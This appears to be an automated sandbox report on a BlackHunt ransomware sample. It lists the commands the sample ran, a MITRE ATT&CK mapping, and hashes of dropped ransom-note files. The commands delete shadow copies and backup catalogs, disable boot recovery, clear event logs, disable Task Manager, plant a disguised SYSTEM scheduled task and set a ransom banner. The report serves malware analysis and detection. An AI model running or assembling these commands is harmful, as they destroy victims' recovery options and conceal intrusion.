  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2160
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2328
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2136
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe" /F
  2⤵
  PID:2852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:840
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3068
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2576
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2052
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2556
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:384
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:784
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:592
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:584
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:600
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2180
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2960
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:1952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2692
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:540
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2580
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:580
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:1480
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:1092
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2748
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3468
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2328
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2828
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1760
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2920
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:1920
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1436
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1772
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3652
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1016
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3704
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:3300
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe"
  2⤵
  - Deletes itself
  PID:1968
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2104

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1417309980-4499145792796916-537865545-1920225096337868905-8297376041866878306"
1⤵
PID:2912

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3912

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3392

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3264

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2204

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\Program Files\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
9b3ba1cd132a49bca3f84bba3f774d41

SHA1
8c552877f8ed64ec969388b6420fa63cebe4b118

SHA256
29ec80b4bc0965cb84f7579ae73346c117b55eab0e6698865e4d656c36907aaa

SHA512
5e37dd7978a465153e903998f4db56801d5a46fb271f16d9d88d582875936532fae45e468163e6e5b6cbcc4f16634b446c616d2b1a85404cfb1a3d48a97fff72

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
ddf7066a30428065fa5dfef4819905d8

SHA1
e99c8903e655011815157101a5e3168b6e2a0386

SHA256
95d97b4ecd80e2776192aa97730e1fee7a1639835e6505a26b31c43a0279ac25

SHA512
4c102b38dc3e3c1a74ab40a2a57ef554240ac092342c36e0fdb409db94d773f84af5c893c2632c3dba2bfdc811ecbbd1abc1a89532e151c1be2e6ad99cc990cd

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
e254014bb5cc0d62cb639bf21a7feaf7

SHA1
f85c1a854c1ed2acc7ff56d3767ce56e228ac593

SHA256
7983ed8c734e23cf8b42109e5a07022778af5f0461d6a5133fed31584a135291

SHA512
01e78293f81bca3a630165ca25b7faf365e3a144d1d176766780ec5761ae41991309e07689890591de4076d1a0f7ec13ed58ce2525314383b0d627c8ee1e46bb

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads